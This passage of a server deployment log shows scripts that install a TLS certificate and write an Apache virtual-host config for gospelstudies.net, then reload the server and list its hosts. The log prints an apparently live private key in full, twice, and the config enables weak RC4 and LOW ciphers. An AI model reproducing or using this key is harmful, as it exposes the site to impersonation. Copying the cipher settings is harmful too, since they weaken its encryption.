YxwPPJHJfTzQYwVDg1Y1xEifPuVTXMcP1k5kV/JPoL1wF7CmboZbJT3IixsBte+s
qAWe8SFqYmm81NimBGOyUGQ2K4jf9/QBFMdY7A0WYxyTQcGTmwZDqRiqy26KxFR4
A4/vlcUEL6QnuQ7IgY11kueTfOup9qxNAjITwst8+AoqXAt+jqeUrgCLKrX32ow9
VaIOO3vrIczfoQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCnqW47yd24+D0+
J8H5IZuwcigCq3mjbyRmxDdXm/HQDIXSU5k/NtBIGGNzceEZUMqM28Xfb2E20GUB
xNyzCnEk+eTvNdei9SK/9aY6odkVRkpReBqr7QDiSZX9Wdn4oxXbVVq5FcKVoLwJ
njJpDrX595k3GDM3IIhQa0B98jZMlnlPJPD2UvK2Nw2nD0Aq18pDH7Hi0QRqolR2
BQRYQhu08IbZBJ7JYsqDpvzXyc+vhk2+apTIYwaKN8Ifbc/FajiLGuPG5fNyY1i/
E4odNzRtoqwAg48OApVXCks/1o/fTJLxEyHL159wI+vCPoXhsZ7g5xmSw0mBd1Dn
g0hqEvCZAgMBAAECggEBAJmHqF7tmrDf+MzrAVBOe1AXKRZQyeFkTDQi5/682bFH
Vl/kl8dwPUhXtPIpTRSui9xy//578syMBoKZL/Rv0m4mu4JljqI10e1wWBkGzlAR
/sodrmbTb+THt6a5WcW6KbCgt6QXDgmQl8BC8iyMAQ32soHmEjgf/VOO8w6h9yEn
iYRKvFccBN27XC4sOFSLMQAboIGKr/pNPZqiMmYrW+UBIQ0+v1oxPt8XbcZI59bF
87FnvzFRjtphrsucm6U49m7IsEfI49AD8tm3Lb31m5KuUtliMQ7NK34BTjaZfUEy
xzNlUMmIbRH/eg75aVsZymN1WMP210/6kOY6CTb1VYECgYEA3YY7ZtZGuUQMcWnG
i/upJdGWbmf+nNq0baZ9mLTvg1Q1wIsZYqytl+YLIOjUa1CsZHQ1EyW98ZHRHy1s
m+rx4jIJlz7OHUMJG5mA53Tt1DiWpohIpBDaw8ECKgs8zJb3IKtZrQQAgSp3X0AI
Xi5Vd1zNheVabyeIouzXb5d7BjECgYEAwcFCKXOKIuyFD72Zn3H9co8CgZRpSBkg
oD42irZclu86A1DQ8UdKR+eQDm65Ijf/7gtutjKRWzxi05G70+NBQVcYpgd1e/Xt
l0mgcQ8aMcX8CiVqM6j8uZPlPlhck1zPJ6NgaYuZPKAYzfxhYfkF7/ZSEBhPjk+Z
6mILFQD1rukCgYAE5dfgYTJ1HC0OQOFz7N+Dh4vE6yW1ABznI7w5KR72j2EU3b50
8Q5xglOSqbMwoDr/iZY20ynM8oVmJBH3rI0mjCasImZaPUYxRwaTl4E+pPWnvvGk
Nv8vPtA2b8MrXtcd8MvtyF3efTrgb0EAHBQlrHaa1ERYms4plAT7YaUFsQKBgQCA
gzvsHIuaIIEdcKfNnyD5dCu4YQT34lrGjp1EojKFlkVHX7pG3v9A9DGTsRMwxC4H
6SNUy/OnrUTribUolIp62VcrALWHNBaUCyzU8KxyKRzEag6oF0URniwmjxtQTvXE
F9RiDUrlcFcjgWviPPcYM6w4qrdR8DBpywAIvWs3yQKBgQDcydBTxKsNHy0s1gwZ
pYrn/keJfkgNjX841yMl+nLlfMC0j7iefLT4WRGGQ2pE/G+ljNfTOD+xdyUYY5ib
eh8HqZGwbizyTjCRmsZSRMqRvskkBr7mDlnm600YEVrNwKxAd14noBGXkI/tc08Z
eASAGx3wq20pe2Qup+qd1wVEBg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-25 06:00:20: 

chmod 755 /tmp/pkp446453; /tmp/pkp446453; rm /tmp/pkp446453

2025-12-25 06:00:20: 


dir=/etc/ssl/certs


2025-12-25 06:00:20: 

PUT: /tmp/pkp572602

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-25 06:00:20: 

chmod 755 /tmp/pkp572602; /tmp/pkp572602; rm /tmp/pkp572602

2025-12-25 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-25 06:00:21: 

PUT: /tmp/pkp846509

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi


2025-12-25 06:00:21: 

chmod 755 /tmp/pkp846509; /tmp/pkp846509; rm /tmp/pkp846509

2025-12-25 06:00:21: 




2025-12-25 06:00:21: 

PUT: /tmp/pkp970824

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-25 06:00:21: 

chmod 755 /tmp/pkp970824; /tmp/pkp970824; rm /tmp/pkp970824

2025-12-25 06:00:21: 


.


2025-12-25 06:00:21: Establishing a connection
2025-12-25 06:00:22: 

PUT: /tmp/pkp892270

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-25 06:00:22: 

chmod 755 /tmp/pkp892270; /tmp/pkp892270; rm /tmp/pkp892270

2025-12-25 06:00:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-25 06:00:22: 

PUT: /tmp/pkp812264

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-25 06:00:22: 

chmod 755 /tmp/pkp812264; /tmp/pkp812264; rm /tmp/pkp812264

2025-12-25 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf	1432

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-25 06:00:22: 

PUT: /tmp/pkp667258

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-25 06:00:22: 

chmod 755 /tmp/pkp667258; /tmp/pkp667258; rm /tmp/pkp667258

2025-12-25 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt	5393
91:93:43:fe:81:8d:d5:a9:1c:c9:9e:d0:57:e3:aa:fb

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBsHUVhNn8SHXEST22eMKA0f9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI1MDUwMTQ5WhcNMjYwMzI1MDUwMTQ4WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKepbjvJ3bj4PT4nwfkhm7ByKAKreaNvJGbEN1eb8dAMhdJTmT820EgYY3Nx
4RlQyozbxd9vYTbQZQHE3LMKcST55O8116L1Ir/1pjqh2RVGSlF4GqvtAOJJlf1Z
2fijFdtVWrkVwpWgvAmeMmkOtfn3mTcYMzcgiFBrQH3yNkyWeU8k8PZS8rY3DacP
QCrXykMfseLRBGqiVHYFBFhCG7TwhtkEnsliyoOm/NfJz6+GTb5qlMhjBoo3wh9t
z8VqOIsa48bl83JjWL8Tih03NG2irACDjw4ClVcKSz/Wj99MkvETIcvXn3Aj68I+
heGxnuDnGZLDSYF3UOeDSGoS8JkCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUZ9DklUu68+6n+PCf3ESLqEuvwXAwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwpp
BYWwyxTDFFjnAAABm1QYCJoAAAQDAEcwRQIhALR/ZACsGnU+WPuWEk7ajMnwfHR7
r3xTMweALqAPDMRiAiBpqqXvXBC8RJ4jyyE2vZz7qFK9BlWu4HaJO5MJTev6/gB2
ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABm1QYCJgAAAQDAEcw
RQIhANh0UOo6ilhsSThPRgnjRFBgXtNUEl2mwbN51rQLjGZaAiBUhWIHePJnP6Xq
4TRc7OpBhH75TKUivRAnEBUmTSL63jANBgkqhkiG9w0BAQsFAAOCAQEAGEEqWXi4
stjcKIjyxx89grs8h/qS4uz1UIziq/LKQiqSW1BZhyZOyDA0kmJ8jC3MJtexGYeu
2B1XuqEgr+1a0HW+5HWbzhfsw9l3x+9qFmqslZdd9bHdgE6KWZ6U5veHoezY1pSi
YxwPPJHJfTzQYwVDg1Y1xEifPuVTXMcP1k5kV/JPoL1wF7CmboZbJT3IixsBte+s
qAWe8SFqYmm81NimBGOyUGQ2K4jf9/QBFMdY7A0WYxyTQcGTmwZDqRiqy26KxFR4
A4/vlcUEL6QnuQ7IgY11kueTfOup9qxNAjITwst8+AoqXAt+jqeUrgCLKrX32ow9
VaIOO3vrIczfoQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCnqW47yd24+D0+
J8H5IZuwcigCq3mjbyRmxDdXm/HQDIXSU5k/NtBIGGNzceEZUMqM28Xfb2E20GUB
xNyzCnEk+eTvNdei9SK/9aY6odkVRkpReBqr7QDiSZX9Wdn4oxXbVVq5FcKVoLwJ
njJpDrX595k3GDM3IIhQa0B98jZMlnlPJPD2UvK2Nw2nD0Aq18pDH7Hi0QRqolR2
BQRYQhu08IbZBJ7JYsqDpvzXyc+vhk2+apTIYwaKN8Ifbc/FajiLGuPG5fNyY1i/
E4odNzRtoqwAg48OApVXCks/1o/fTJLxEyHL159wI+vCPoXhsZ7g5xmSw0mBd1Dn
g0hqEvCZAgMBAAECggEBAJmHqF7tmrDf+MzrAVBOe1AXKRZQyeFkTDQi5/682bFH
Vl/kl8dwPUhXtPIpTRSui9xy//578syMBoKZL/Rv0m4mu4JljqI10e1wWBkGzlAR
/sodrmbTb+THt6a5WcW6KbCgt6QXDgmQl8BC8iyMAQ32soHmEjgf/VOO8w6h9yEn
iYRKvFccBN27XC4sOFSLMQAboIGKr/pNPZqiMmYrW+UBIQ0+v1oxPt8XbcZI59bF
87FnvzFRjtphrsucm6U49m7IsEfI49AD8tm3Lb31m5KuUtliMQ7NK34BTjaZfUEy
xzNlUMmIbRH/eg75aVsZymN1WMP210/6kOY6CTb1VYECgYEA3YY7ZtZGuUQMcWnG
i/upJdGWbmf+nNq0baZ9mLTvg1Q1wIsZYqytl+YLIOjUa1CsZHQ1EyW98ZHRHy1s
m+rx4jIJlz7OHUMJG5mA53Tt1DiWpohIpBDaw8ECKgs8zJb3IKtZrQQAgSp3X0AI
Xi5Vd1zNheVabyeIouzXb5d7BjECgYEAwcFCKXOKIuyFD72Zn3H9co8CgZRpSBkg
oD42irZclu86A1DQ8UdKR+eQDm65Ijf/7gtutjKRWzxi05G70+NBQVcYpgd1e/Xt
l0mgcQ8aMcX8CiVqM6j8uZPlPlhck1zPJ6NgaYuZPKAYzfxhYfkF7/ZSEBhPjk+Z
6mILFQD1rukCgYAE5dfgYTJ1HC0OQOFz7N+Dh4vE6yW1ABznI7w5KR72j2EU3b50
8Q5xglOSqbMwoDr/iZY20ynM8oVmJBH3rI0mjCasImZaPUYxRwaTl4E+pPWnvvGk
Nv8vPtA2b8MrXtcd8MvtyF3efTrgb0EAHBQlrHaa1ERYms4plAT7YaUFsQKBgQCA
gzvsHIuaIIEdcKfNnyD5dCu4YQT34lrGjp1EojKFlkVHX7pG3v9A9DGTsRMwxC4H
6SNUy/OnrUTribUolIp62VcrALWHNBaUCyzU8KxyKRzEag6oF0URniwmjxtQTvXE
F9RiDUrlcFcjgWviPPcYM6w4qrdR8DBpywAIvWs3yQKBgQDcydBTxKsNHy0s1gwZ
pYrn/keJfkgNjX841yMl+nLlfMC0j7iefLT4WRGGQ2pE/G+ljNfTOD+xdyUYY5ib
eh8HqZGwbizyTjCRmsZSRMqRvskkBr7mDlnm600YEVrNwKxAd14noBGXkI/tc08Z
eASAGx3wq20pe2Qup+qd1wVEBg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
